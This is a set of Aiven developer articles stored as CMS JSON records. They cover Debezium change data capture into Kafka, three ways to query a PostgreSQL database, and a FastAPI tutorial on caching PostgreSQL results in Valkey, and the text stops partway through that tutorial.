Conclusion\n\nThe Debezium connector for Apache Kafka tracks, in real time, all the changes happening in one or more MySQL tables into a series of topics by reading the binlog. The messages in Apache Kafka contain the update data and are also enriched with metadata information like the transaction ids and timestamp. Furthermore, the usage of a dedicated topic to track DDL changes enables additional control over the table structures useful to replicate the database structure when needed.\n\nYou can dig more with the following resources:\n\n* [Create a Debezium source connector from MySQL to Apache Kafka®](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql) in the [Aiven documentation](https://aiven.io/docs)\n* [Debezium source connector to MySQL](https://debezium.io/documentation/reference/stable/connectors/mysql.html)\n* [Debezium data type mappings](https://debezium.io/documentation/reference/stable/connectors/mysql.html#mysql-data-types)\n* [MySQL binlog](https://dev.mysql.com/doc/refman/8.0/en/binary-log.html)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-18T17:32:17.411Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"cfd51b397b1a","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"},{"_key":"394c30a7b9f9","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-09-11T10:00:10.564Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"Enabling change data capture from MySQl to Apache Kafka with Debezium\" on a blue background with the Aiven logo in the bottom left.","asset":{"_ref":"image-756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/change-data-capture-mysql-apache-kafka-debezium"},"subtitle":"Implement a change data capture workflow in Apache Kafka®, a key component of any organization with high data integrity requirements.","tags":[{"_key":"ea488beed192","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"b8294a44e1e6","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e0fc4226e6dd","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"885727e48a8b","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Enabling change data capture from MySQL to Apache Kafka® with Debezium"}
{"__i18n_lang":"en","_createdAt":"2024-11-18T12:34:25Z","_id":"fed3568f-2be7-47d6-9fc9-fe56ca85135b","_rev":"T130WEs22RB6SoEkOBncaK","_type":"devArticle","_updatedAt":"2024-11-19T09:43:53Z","body":"The first step of interacting with a new PostgreSQL® database is running a query. **Querying** a database is any action in which you request information from a database. That information can be rows of a table that match certain criteria, an entire table itself, or the result of a mathematical operation on a column’s data. \n\nIn this article we’ll go through 3 different ways to query a PostgreSQL database. We’ll also cover how to view active queries in the Aiven console, and how to optimize SQL queries using the Aiven SQL optimizer.\n\n## Sign up for Aiven and install psql\n\nIn this article, we’ll be querying an Aiven for PostgreSQL database. [Sign up for a free database today](https://console.aiven.io/signup) to follow along.  \n\nWhen you’ve signed up, select **Create Service**, then create a PostgreSQL database. You can either use the free tier or a free trial PostgreSQL database.\n\n## Install psql\n\nNext, use the command line to install [psql](https://www.postgresql.org/docs/7.0/app-psql.htm?ref=aiven). Psql is the official command line tool for Postgres. We’ll be using this for multiple steps in this tutorial\n\n### On Mac using Homebrew: \nIn a terminal window, type: \n\n```bash \nbrew install libpq\n```\n\n### On Linux using sudo apt-get\nIn a terminal window, type:\n\n```bash\nsudo apt install postgresql-client\n```\n\n### On Windows using the PostgreSQL installer\n\nGo to [postgresql.org](hhttp://postgresql.org?ref=aiven) and use the installer. \n\n### Connect to the database using psql\n\nWe need to add a table to our database and insert some data so we can query it in the next sections. \n\nTo connect to the Aiven for PostgreSQL database:\n\n1. In the Aiven Console’s Overview page for your database, click the **Quick Connect** button\n2. Copy the code sample into a terminal window, and hit enter. It should look similar to: \n`psql '\u003cYOUR_SERVICE_URI\u003e'`\n\n\nThis connects you to the database. You should see output similar to the following:\n\n```bash\n\u003e psql (16.2, server 16.4)\n\u003e SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)\n\u003e Type \"help\" for help.\n```\n\n## Insert data into a PostgreSQL database using psql\n\nOnce connected, type the following into your terminal window and press enter to create a basic table for querying.\n\n```bash\nCREATE TABLE users (\n    ID INT PRIMARY KEY,\n    name VARCHAR(255)\n);\n```\n\nYou should see the following output if successful: \n\n```bash\n\u003e CREATE TABLE\n```\n\nNext, insert some data into the table: \n\n```bash\nINSERT INTO users (ID, name) VALUES\n(1, 'Celeste'),\n(2, 'Jay'),\n(3, 'Tibs'),\n(4, 'Olena');\n```\n\nYou should see the following output if successful: \n\n```bash\n\u003e INSERT 0 4\n```\n\n## The difference between a query and an insert\n\nIn SQL, an `INSERT` statement, like the one above, writes data to the database. A `SELECT` statement reads data from the database. “Query” is used as a general term in the database world and refers to any operation which starts from or includes a read from the database. Some queries can also return the result of transforming the data from the database, or the result of a calculation performed on the data. These queries typically include the `WHERE` operator, and can include mathematical operators such as `+`, `-`, `*` `/ `and `%`. \n\n\n## Query a PostgreSQL database table using psql\n\nLet’s run a basic query against our table to ensure it was created correctly. Assuming you’re still connected to the database as above, use the following command: \n\n```bash\nSELECT * FROM users; \n```\n\nWhich should return the following: \n\n```bash\n id |  name\n----+---------\n  1 | Celeste\n  2 | Jay\n  3 | Tibs\n  4 | Olena\n(4 rows)\n``` \n\n## Query a PostgreSQL database table using pgAdmin \n\nThe command line is a preferable tool for many, but sometimes it’s useful to inspect a database using a visual aid. PgAdmin is the tool of choice for many when using a UI.\n\n[Download pgAdmin](https://www.pgadmin.org/?ref=aiven), install it and run to begin.\n\nTo query data against our Aiven for PostgreSQL database, next we need to add the database to pgAdmin: \n\n1. Click the Add New Server button. Name the server Aiven. \n2. In the Connections tab add the following from the service Overview in the Aiven console: \n\t-** Host name/address:** The **Host** listed in the overview\n\t- **Port:** The **Port** listed in the overview\n\t-** Maintenance database:** The default database in the overview, usually **defaultdb** \n\t-** Username:** The **Username** in the overview, usually **avnadmin**\n\t-** Password:** The **Password** in the overview\n3. Click** Save and Connect**, and in the left hand pane expand the Aiven database. It should look like the following: \n\n![Screenshot of a pgAdmin window with the server tree expanded. Note the users table on the left hand pane.](https://cdn.sanity.io/images/sczeoy4w/production/9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313.png)\n\n\nFrom here, expand **Schemas** and you should see the table we created earlier, **users**. If you right click the table and select** View/Edit Data \u003e All Rows**, you should see the following: \n\n\n![Screenshot of pgAdmin with the right hand pane populated by the users table](https://cdn.sanity.io/images/sczeoy4w/production/9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313.png)\n\nThe top right pane labeled Query allows us to query the data in the table as we desire. Selecting **View/Edit Data** as we did auto-populates the `SELECT * FROM users` query we used previously. You can replace the text in the top right pane with any query you want to run.\n\n## Query a PostgreSQL database using a language-specific package\n\nThe [Aiven for PostgreSQL documentation ](https://aiven.io/docs/products/postgresql/howto/list-code-samples) includes examples for connecting to PostgreSQL databases in all major programming languages with the recommended packages. This example is copied from the Python example and uses the `psycopg2` package: \n\n```python\nimport psycopg2\n\n\ndef main():\n    conn = psycopg2.connect('POSTGRESQL_URI')\n\n    query_sql = 'SELECT * FROM users'\n\n    cur = conn.cursor()\n    cur.execute(query_sql)\n\n    users = cur.fetchone()[0]\n    print(users)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Other types of queries\n\nPostgres databases support a fully featured SQL query language. SQL is a query language commonly used for data management systems, though it varies slightly from implementation to implementation. As such, we recommend following the [PostgreSQL project’s documentation](https://www.postgresql.org/docs/current/sql.html?ref=aiven) for the full list of available commands. \n\nIf you aren’t keen on learning too much SQL, [Aiven’s free Text to SQL tool](https://https://aiven.io/tools/text-to-sql) takes natural language and turns it into valid SQL commands.\n\nBut let’s return to our small example table, and run some more complex commands. One of the most useful commands we can run selects rows based on a condition using the `WHERE` operator. \n\nFor example, if we wanted to calculate the number of rows with an even-numbered ID (divisible by 2), we could use the following: \n\n```bash\nSELECT COUNT(*) FROM users WHERE ID % 2 = 0;\n```\n\nThis should return the count of two, as follows: \n\n```bash\n\u003e  count\n\u003e -------\n\u003e     2\n```\n\nSimilarly, you can also search for specific values within a column. Running:\n\n```bash\nSELECT * FROM users WHERE name = 'Celeste';\n```\n\nShould return the following:\n\n```bash\n\u003e  id |  name\n\u003e ----+---------\n\u003e   1 | Celeste\n```\n\n## Monitor active queries (connections) to the database using the Aiven console \n\nThe **Current Queries** tab in the Aiven console shows any active queries (or connections) to your PostgreSQL instance.\n\nWhile we recommend connecting using a secure SSL connection only, this view also allows you to terminate any connections for reasons you see fit. \n\n![Screenshot of the current queries tab in the Aiven Console, showing a running query](https://cdn.sanity.io/images/sczeoy4w/production/67ff2fdc8388329ec20a267bafdf967d7f62ac52-1999x1201.png)\n\n## Optimize queries using the Aiven SQL Optimizer\n\nThe examples given in this article are simplistic because the data we’re operating on is simplistic as well. In practice, SQL queries can get extremely complex, and an inefficient SQL query can lead to a significant increase in compute and network traffic – both of which can increase cost for you, the end user.\n\nAiven offers [a suite of free SQL tools](https://aiven.io/tools) for you to use to optimize your queries. You can [optimize complex queries using AI](https://https://aiven.io/tools), [convert plain language to SQL](**https://**), and more. The Aiven Console also includes the **AI Insights** optimizer, which can help you fine tune performance: \n\n![Screenshot of the AI Insights optimizer](https://cdn.sanity.io/images/sczeoy4w/production/cb53ad72178537702809ccfabe99f9d418093eeb-1200x836.png)\n\n## Next steps\n- [Sign up for a free PostgreSQL database](https://console.aiven.io/signup)\n- [Use indexes to speed up PostgreSQL queries](https://aiven.io/developer/postgresql-pgvector-indexes)\n- [Query a PostgreSQL database using GraphQL](https://aiven.io/developer/query-a-postgresqlr-database-using-graphql)\n- [Use PostgreSQL DOMAIN rules to validate data](https://aiven.io/developer/postgresql)\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-11-25T12:34:20.835Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-11-19T09:43:51.383Z","seo":{"_type":"metaData","metaDescription":"Run a query against a PostgresSQL® database to inspect the data inside its tables using the command line, a graphical interface, and a language-specific package","metaImage":{"_type":"mainImage","alt":"White text on a blue background reading \"Query a PostgreSQL® database 3 ways\". The Aiven logo appears in the bottom left.","asset":{"_ref":"image-79564834bc797e6e5d2973b0b8a24ab948202d0b-1200x628-png","_type":"reference"}},"metaTitle":"Query a PostgresSQL® database 3 ways"},"slug":{"_type":"slug","current":"/developer/query-a-postgresql-database"},"subtitle":"Run a query against a PostgresSQL® database to inspect the data inside its tables using the command line, a graphical interface, and a language-specific package","tags":[{"_key":"30f82e2356d3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Query a PostgresSQL® database 3 ways"}
{"__i18n_lang":"en","_createdAt":"2023-06-22T09:33:27Z","_id":"110695fb-7084-48fa-a3e0-1b49f9966d26","_rev":"dRenvgbRIku6htF3JKoO7n","_type":"devArticle","_updatedAt":"2024-10-23T08:49:33Z","body":"## What we'll learn\n\n* How to write a simple Python web application that accesses data in a PostgreSQL® database\n* How to use `curl` at the command line to make GET and POST requests to that web application\n* Why caching the GET response is a good idea, and how to do that with Valkey™, a key-value store using the Redis serialization protocol\n* Some basics about cache invalidation - how to make sure the cache doesn't get out-of-date\n\n## Overview\n\nWith any sufficiently complex application, performance becomes a primary concern for optimization. One of the key metrics for measuring performance of any software is the speed of reading and writing from a database.\n\nMost applications repeatedly store (write) and retrieve (read) some kind of data. However in most cases, the number of reads far exceeds the number of writes.  To make this more efficient, we used a caching layer. Caching is the act of writing to a location (for instance, a block of memory) specifically designed for quick retrieval of common requests.\n\nFor example, imagine a customer creating a profile on an online store. The customer fills out their name, phone number, and address, which we store to our database. Because these pieces of information are required at multiple points in the checkout process, it's worth storing them in a cache the first time we retrieve them from the database. This speeds up application processing time for all following retrievals. The difference in retrieval speed for any single request might be mere milliseconds, but when we develop applications for the cloud, for millions of users simultaneously, those milliseconds add up.\n\nCaching cloud applications introduces some complexities but also offers opportunity for optimization. Instead of using a block of memory (and the unbounded, chaotic nature that entails), we can use two databases! We can use one database as a data store, and one as a cache. Further, we can choose a database for our data store that is optimized for things like concurrency control and one for our cache optiized for speedy reads and writes, while still taking advantage of everything the cloud offers us in terms of scalability.\n\n## Prerequisites\n\nWe're going to be writing a web application in Python, and you'll need at least **Python 3.9**.\n\n* We'll use the following frameworks:\n  * ``fastapi`` (https://fastapi.tiangolo.com/) for writing our web application,\n  * ``uvicorn`` (https://www.uvicorn.org/) to run that web application\n  * ``psycopg2`` (https://www.psycopg.org/) for talking to PostgreSQL®\n  * ``valkey-py`` (https://github.com/valkey-io/valkey-py) for talking to Valkey™\n\n* CLI tooling: \n  * [psql](https://www.postgresql.org/docs/current/app-psql.html) for PostgreSQL. This is useful as it's the standard tool that will work for any PostgreSQL service on any system.\n  * We built the [avn CLI](https://aiven.io/docs/tools/cli) to take advantage of all the features Aiven offers for its products, and this works too! We'll provide examples with both in this tutorial.\n  * We'll also use [cURL](https://curl.se)\n\n* A Valkey database and a PostgreSQL database:\n  * Setting up and managing a database, so we'll use [Aiven for PostgreSQL®](https://aiven.io/postgresql) and [Aiven for Valkey™](https://aiven.io/valkey) in this tutorial. You can [sign up for our free tier](https://console.aiven.io/signup) to follow along!\n  * If you're following along without using Aiven, we still recommend deploying to a cloud provider like AWS or Google Cloud. This tutorial assumes the databases will be configured and deployed for you like Aiven does.\n\n## Set up a Python virtual environment\n\nWe'll do our development at the command line in a Python virtual environment. This will prevent any of the work we're doing in this tutorial from affecting anything else you might be working on.\n\nFirst, let's set up the Python virtual environment:\n\n```shell\npython3 -m venv venv\nsource venv/bin/activate\n```\n\nand then install the Python libraries we described above:\n\n```shell\npip install fastapi uvicorn\npip install psycopg2-binary\npip install 'valkey[hiredis]'\npip install 'python-dotenv'\n```\n\nThe `psycopg2` documentation recommends installing `psycopg2-binary` for development and testing, because installing the `psycopg2` package needs  a C compiler and some other dependencies. For production it still recommends building the package yourself.\n\nWe're specifying `valkey[hiredis]` rather than just `valkey`, again as recommended by the package documentation, because it provides performance improvements. The single quotes stop the shell from seeing the `[` and `]` as special characters.\n\nYou can quickly check all of those are installed correctly by starting up Python:\n\n```shell\npython3\n```\n\nand then at the ``\u003e\u003e\u003e`` prompt enter the following:\n\n```python\nimport fastapi\nimport uvicorn\nimport psycopg2\nimport valkey\nimport dotenv\n```\n\nIf you don't get any errors from those, then you're good to go. Exit the Python shell by typing:\n\n```python\nexit()\n```\n\nIf you're on Unix/Mac you can use ``CTRL-D`` instead.\n\nYou can also type `pip list` at the terminal prompt to get a list of all the Python packages installed in this virtual environment, including packages needed by the ones you asked for.\n\n## Install cURL\n\n`curl` is a command line tool to \"do Internet transfers for resources specified as URLs using Internet protocols\", and we shall use it in this tutorial to allow us to GET from and POST to our web application, as an alternative to using a web browser.\n\nThe [Install cURL](https://everything.curl.dev/get) page in the [Everything cURL](https://everything.curl.dev/) book describes how to install it on Linux, Windows, macOS and using Docker. \n\nIn many operating systems, cURL is already installed. To check if it is, try calling it:\n\n```shell\ncurl --help\n```\n\n## Install the application specific tools\n\n### Install `psql`\n\nThe PostgreSQL Tutorial [Getting started](https://www.postgresqltutorial.com/postgresql-getting-started/) documentation explains how to install PostgreSQL on your local machine. This should also provide `psql`, a command line tool for talking to a PostgreSQL service.\n\nIf you're using a Mac and [Homebrew](https://brew.sh/) then you can type the following in a terminal to install `libpq` and its associated tools, which include `psql`:\n\n```shell\nbrew install libpq\n```\n\nThe output of that command will tell you how to make the `libpq` commands available on your path (it will say something like `If you need to have libpq first in your PATH, run: ...`). To get it set up temporarily in the current Bash session, we can do:\n```shell\nexport PATH=/opt/homebrew/opt/libpq/bin:$PATH\n```\n\n::alert[Installing PostgreSQL with Homebrew doesn't necessarily install `psql`, and we don't actually need to install the PostgreSQL service for this tutorial.]\n\n### Install the Aiven command line tool\n\nAiven also provides a command line tool for working with its services, and it provides a way to run the service-specific command line tool for PostgreSQL or Valkey (respectively, `psql` or `valkey-cli`). See [Get things done with the Aiven CLI](https://aiven.io/blog/aiven-cmdline) for a bit more background, and the [`avn service cli`](https://aiven.io/docs/tools/cli/service#avn-service-cli) documentation for some specifics.\n\nWe can install the [Aiven CLI](https://aiven.io/docs/tools/cli) using ``pip``, still in our virtual environment:\n\n```shell\npip install aiven-client\n```\n\nYou'll need to login using a token. Follow the instructions at [Create an authentication token](https://aiven.io/docs/platform/howto/create_authentication_token) to get a token, and then login at the terminal using the following command, where `YOUR_EMAIL_ADDRESS` is the email address you used to login to the Aiven Console. That will prompt you for the token that you copied.\n\n```shell\navn user login --token YOUR_EMAIL_ADDRESS\n```\n\nThen specify the project you want. `YOUR_PROJECT_NAME` will be the name of the project that you used when getting the token.\n\n```shell\navn project switch YOUR_PROJECT_NAME\n```\n\n### When to use `avn` and when to use `psql`\n\nYou'll notice we specified using two command line tools in this tutorial. Let's talk about when to use which. \n\n`avn` is Aiven's own CLI tool. Use it if you're following along with Aiven services. `avn` has the advantage that once you've logged in with a token, you just need the service name to connect, rather than the whole service URI.\n\n`psql` is useful to know because it's transferrable to any platform, not just Aiven, and lets us query some more specific things about PostgreSQL. If you aren't using Aiven, use `psql`.\n\n## Create an Aiven for PostgreSQL® service\n\n\nNext, let's create a PostgreSQL instance. \n\nIf you're using Aiven, you can also [use the command line](https://aiven.io/docs/tools/cli/service/database#manage-databases) to do this. In this tutorial, we'll use the Aiven console.\n\nNavigate to the [Aiven console](https://console.aiven.io/). Create an account if you haven't already, or log in if you have. If you're new to Aiven, then you can use the [free plan](https://aiven.io/docs/platform/concepts/free-plan) for this tutorial, or create a free trial if you prefer.\n\nClick **Create service** and create an Aiven for PostgreSQL® service.\n\nIf you're using the [Free plan](https://aiven.io/docs/platform/concepts/free-plan):\n\n- **Service type:** PostgreSQL®\n- **Cloud provider:** AWS\n- **Service cloud region:** Choose the region closest to you that supports the free plan.\n- **Service plan:** Choose **Free**, which is OK for this tutorial.\n- **Service name:** Choose something meaningful - we're using `pg-app-backend`\n\nor for a paid service:\n\n- **Service type:** PostgreSQL®\n- **Cloud provider:** Choose the cloud provider of your choice.\n- **Service cloud region:** Choose the region closest to you\n- **Service plan:** Choose **Hobbyist** or **Startup** (**Hobbyist** is OK for this tutorial)\n- **Service name:** Choose something meaningful - we're using `pg-app-backend`\n\nWhen you're ready, click **Create service**.\nThis initializes a PostgreSQL® database for use on the cloud and region you choose, with a small service plan (if you were building a real application, you'd want to pick a larger plan).\n\n\n#### Save the PostgreSQL connection information\n\nWhen Aiven is done initializing your PostgreSQL service, it will direct you to the service's Overview page. \n\nYou can return to this page any time using the **Services** menu on the left hand menu and selecting the service you want to view. You can also use the **Quick connect** button to get convenient copy-and-paste commands and code snippets for a variety of CLI tools and programming connections! \n\nThroughout this tutorial, we'll export common variables, like the PostgreSQL service URI as shell variables. This avoids commiting potentially sensitive data to a version control system like git.\n\nCopy the **Service URI** from the service page, and at the terminal prompt, set an environment variable to that string. For instance, if you're using the Bash shell:\n\n```bash\nexport PG_SERVICE_URI='\u003cthe Service URI\u003e' \n```\n\nRemember the single quotes, because the Service URI string probably has a question mark in it.\n\n## Put some data into the database\n\nDownload the `dellstore2-normal-1.0.tar.gz` file from the [PostgreSQL website](https://www.postgresql.org/ftp/projects/pgFoundry/dbsamples/dellstore2/dellstore2-normal-1.0/).\n\nUnpack it - for instance at the terminal you can use:\n\n```shell\ntar -xf dellstore2-normal-1.0.tar.gz\n```\n\nNavigate to the dellstore2-normal-1.0 folder on your terminal:\n\n```shell\ncd dellstore2-normal-1.0\n```\n\nNext, we want to start the PostgreSQL command line tool to talk to PostgreSQL. If you've installed `psql` then you can do that using the **Service URI** you saved earlier:\n\n```shell\npsql $PG_SERVICE_URI\n```\n\nor you can use the `avn` tool, which needs to know the service name:\n\n```shell\navn service cli pg-app-backend\n```\n\nIn either case, that should leave you talking to the `psql` prompt, which will say something like:\n\n```\npsql (14.7 (Homebrew), server 14.6)\nSSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)\nType \"help\" for help.\n\ndefaultdb=\u003e\n```\n\nCreate a new database, `dellstore`:\n\n```\nCREATE DATABASE dellstore;\n```\n\nThen change to the correct database:\n\n\n```\n\\c dellstore\n```\n\n::alert[When you change to the `dellstore` database, the prompt should change to `dellstore=\u003e`.]\n\nImport the data by typing:\n\n```\n\\i dellstore2-normal-1.0.sql\n```\n\nThen check what objects have been created in the database with:\n\n```\n\\d\n```\n\nThe output should look like this:\n\n```\nList of relations\n Schema |           Name           |   Type   |  Owner\n--------+--------------------------+----------+----------\n public | categories               | table    | avnadmin\n public | categories_category_seq  | sequence | avnadmin\n public | cust_hist                | table    | avnadmin\n public | customers                | table    | avnadmin\n public | customers_customerid_seq | sequence | avnadmin\n public | inventory                | table    | avnadmin\n public | orderlines               | table    | avnadmin\n public | orders                   | table    | avnadmin\n public | orders_orderid_seq       | sequence | avnadmin\n public | products                 | table    | avnadmin\n public | products_prod_id_seq     | sequence | avnadmin\n public | reorder                  | table    | avnadmin\n(12 rows)\n```\n\nExist `psql` by typing `\\q`, and leave the `dellstore2-normal-1.0` directory\nby typing:\n```\ncd ..\n```\n\n\n## Create a simple web application\n\nThe following is a shortened version of the first example from the [FastAPI documentation](https://fastapi.tiangolo.com/#example).\n\nCreate a file called ``main.py`` that contains:\n\n```python\nfrom fastapi import FastAPI\n\napp = FastAPI()\n\n\n@app.get(\"/count\")\ndef read_count():\n    return {\"count\": 0}\n```\n\nThen run it in a terminal using `uvicorn`:\n\n```shell\nuvicorn main:app --reload\n```\n\nWhich should say something like:\n\n```\nINFO:     Will watch for changes in these directories: ['/Users/tony.ibbs/sw/aiven/pg-redis-tutorial']\nINFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\nINFO:     Started reloader process [75284] using StatReload\nINFO:     Started server process [75286]\nINFO:     Waiting for application startup.\nINFO:     Application startup complete.\n```\n\nAs that suggests, the `--reload` switch means that when the source code for `main.py` changes, it will automatically be reloaded, so the change will take effect without needing to restart the web server. This is nice because it means you don't have to stop and start the server every time you save a change to the source code.\n\nWe recommend keeping this terminal window open and leaving `uvicorn` running through the rest of the tutorial.\n\nGo to ``http://127.0.0.1:8000/count`` in your web browser. You should see:\n\n```\n{\"count\":0}\n```\n\nThen, at the command line in a different terminal window, type\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nThe response should look like:\n\n```\n{\"count\":0}\n```\n\n## Make it talk to the PostgreSQL database\n\nNext, we'll change the `read_count` function so that it actually performs a `COUNT` of records in the database.\n\nThis is intentionally a slow operation, as `COUNT` enumerates through the entire database, record by record. In most production use cases, you wouldn't do this too often. \n\nIn real life, a better example of a slow query would be calculating the checkout price of a basket on an ecommerce site. This needs a lot of database access, which takes time, and we don't want to recalculate everything just because the customer hit \"refresh\".\n\nChange the import statements at the start of the file to bring in the extra libraries we need:\n\n```python\nimport os\n\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\n\nimport psycopg2\n```\n\nWe're going to need the PostgreSQL connection information, so we'll get that from the environment variable we set [earlier on](#save-the-postgresql-connection-information):\n\n```python\nPG_SERVICE_URI = os.getenv('PG_SERVICE_URI')\n```\n\nAs we said before, it's a good idea not to hard-code \"secrets\" into source code, especially if you're going to save it to GitHub or somewhere else public. Since the `PG_SERVICE_URI` includes all the access information for the database, that definitely applies here. Using an environment variable means that we don't need to alter the code when the connection data changes - the same code can work for a local PostgreSQL and one running in the cloud.\n\nAiven partners with GitHub in it's [secrets scanning program](https://aiven.io/blog/aiven-and-github's-secret-scanning-partnership) to prevent this for Aiven deployments, but it's a good idea to check manually anyway.\n\nWe keep the startup of FastApi itself:\n\n```python\napp = FastAPI()\n```\n\nThen, add a function that connects to the Postgres database.  Double check that the environment variable was set, and complain if it wasn't!\n\n```python\ndef connect_to_pg():\n    \"\"\"Connect to the PostgreSQL backend.\"\"\"\n    if not PG_SERVICE_URI:\n        raise HTTPException(\n            status_code=500,\n            detail=\"Internal server error. Database not specified - \"\n            \"environment variable PG_SERVICE_URI is empty/unset\",\n        )\n    try:\n        # Use the given service URI, but specify a different database\n        return psycopg2.connect(PG_SERVICE_URI, database='dellstore')\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error connecting to database: {e.__class__.__name__} {e}\",\n        )\n```\n\n::alert[The `SERVICE_URI` specifies how to connect to the `defaultdb` database, and our `psycopg2.connect` call then actually asks for the `dellstore` database. In a real application, we'd probably specify the database name with another environment variable.]\n\nNext we can change the `read_count` method to ask for how many orders there are in our database (you can see a brief introduction to how to use `psycopg2` to make SQL queries in its documentation, at [Basic module usage](https://www.psycopg.org/docs/usage.html#basic-module-usage)):\n\n```python\n@app.get(\"/count\")\ndef read_count():\n    conn = connect_to_pg()\n    try:\n        cursor = conn.cursor()\n        cursor.execute('SELECT COUNT(*) FROM orders;')\n        count = cursor.fetchone()[0]\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        conn.close()\n    return {'count': count}\n```\n\nLet's test this first working version of the application.\n\nIf the `uvicorn` command is still running at your terminal, you should see it reload the new version of the application. Otherwise, start the application again:\n\n```\nuvicorn main:app --reload\n```\n\nand run the `curl` command again, in the other terminal:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe should see an answer for the total number of orders in the database:\n```\n{\"count\":12000}\n```\n\n## Why do we want caching?\n\nWhen you run `main.py` as shown above, the code executes the `COUNT` every time the `read_count()` method is called – every time a GET query is made. We don't store the result anywhere, and thus we need to perform this expensive, slow operation every time. \n\nUsing Redis as a cache solves this: we run one Redis instance that all our backends can access. This lets us store the results of `read_count()` outside our code _and_ our PostgreSQL database. If we're running a modern cloud-based application, other copies of our backend can access the results of `read_count()`, and we don't need to run expensive functions as often. Because the data Redis stores is not being read or written to disk, we can achieve very low latencies.\n\n## Create an Aiven for Valkey service\n\nNext, let's create an Aiven for Valkey service. As we said, Valkey will serve as our caching layer. \n\nIn most cases, you'll want to deploy Valkey to the same region as your PostgreSQL database, as this reduces latency. \n\nGo back to the [Aiven console](https://console.aiven.io/). If you're still on the PostgreSQL service page, select **Services** from the navigation sidebar to get back to the \"Current services\" page.\n\nClick **Create service** and create an Aiven for Valkey service. If you're chose the free plan when creating the PostgresSQL service, then that probably makes sense for Valkey as well.\n\nIf you're using the [Free plan](https://aiven.io/docs/platform/concepts/free-plan):\n\n- **Service type:** Valkey™\n- **Cloud provider:** AWS\n- **Service cloud region:** Choose the same region as your PostgreSQL database.\n- **Service plan:** Choose **Free**, which is OK for this tutorial.\n- **Service name:** Choose something meaningful - we're using `valkey-app-cache`\n\nor for a paid service:\n\n- **Service type:** Valkey™\n- **Cloud provider:** Choose the same cloud provider as for your PostgreSQL database.\n- **Service cloud region:** Choose the same region as your PostgreSQL database.\n- **Service plan:** Choose **Hobbyist** or **Startup** (**Hobbyist** is OK for this tutorial)\n- **Service name:** Choose something meaningful - we're using `valkey-app-cache`\n\nWhen you're ready, click **Create service**. As before, if you were building a real application, you'd want to pick a larger plan.\n\n### Save the Valkey connection information\n\nWhen Aiven is done spinning up your Valkey database, make a note of the Valkey Service URI. \n\nExport this as an environment variable, as we did with PostgreSQL.\nFirst, kill the `uvicorn` process, if it's still running, and then, if you're\nusing Bash, type:\n\n```shell\nexport VALKEY_SERVICE_URI='\u003cthe Valkey Service URI\u003e'\n```\n\n## Reminder on environment variables\n\nAs we're using more than one terminal window, it's easy to forget to set the PostgreSQL and Valkey environment variables (see [Save the PostgreSQL connection information](#save-the-postgresql-connection-information) earlier, and [Save the Valkey connection information](#save-the-valkey-connection-information) just before this). In summary:\n\n* Before running `uvicorn`, you should make sure that `PG_SERVICE_URI` and `VALKEY_SERVICE_URI` are both set, as the Python application needs both of them.\n* Before running `psql $PG_SERVICE_URI`, you should make sure that `PG_SERVICE_URI` is set (that sounds obvious, but I've made the mistake myself).\n\n## Connect to Valkey and cache the GET method\n\nNow let's add caching for the `read_count` function into `main py`.\n\nFirst, we add an import for the Valkey library. We'll also import the logging package, so we can output messages to the terminal where we're running the application to explain what we're doing with the cache.\n\nChange the start of `main.py` (everything up to the `app = FastAPI()`) to look like the following.\n \n```python\nimport os\n\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\n\nimport logging\nimport psycopg2\nimport valkey\n\n# turn on logging \nlogging.basicConfig(level=logging.DEBUG)\n\n# import environment variables\nPG_SERVICE_URI = os.getenv('PG_SERVICE_URI')\nVALKEY_SERVICE_URI = os.getenv('VALKEY_SERVICE_URI')\n\napp = FastAPI()\n```\n\nThis has added:\n- import statements for the `redis` and `logging` packages. \n- a mapping for the environment variable we created earlier, `VALKEY_SERVICE_URI`\n- a statement to turn logging on \n\nNow, after the `connect_to_pg` function, add a new `connect_to_valkey()` function, which will:\n \n- Take the `VALKEY_SERVICE_URI` variable and pass it to the `redis.from_url()` function to return an instance of Valkey for us.\n- Catch any errors we make along the way.\n\nThe new function looks like this:\n```python\ndef connect_to_valkey():\n    \"\"\"Connect to the Valkey backend.\"\"\"\n    if not VALKEY_SERVICE_URI:\n        raise HTTPException(\n            status_code=500,\n            detail=\"Internal server error. Valkey service not specified - \"\n            \"environment variable VALKEY_SERVICE_URI is empty/unset\",\n        )\n    try:\n        return valkey.from_url(VALKEY_SERVICE_URI)\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error connecting to Valkey: {e.__class__.__name__} {e}\",\n        )\n```\n\nFinally, modify the `read_count()` function to add values to 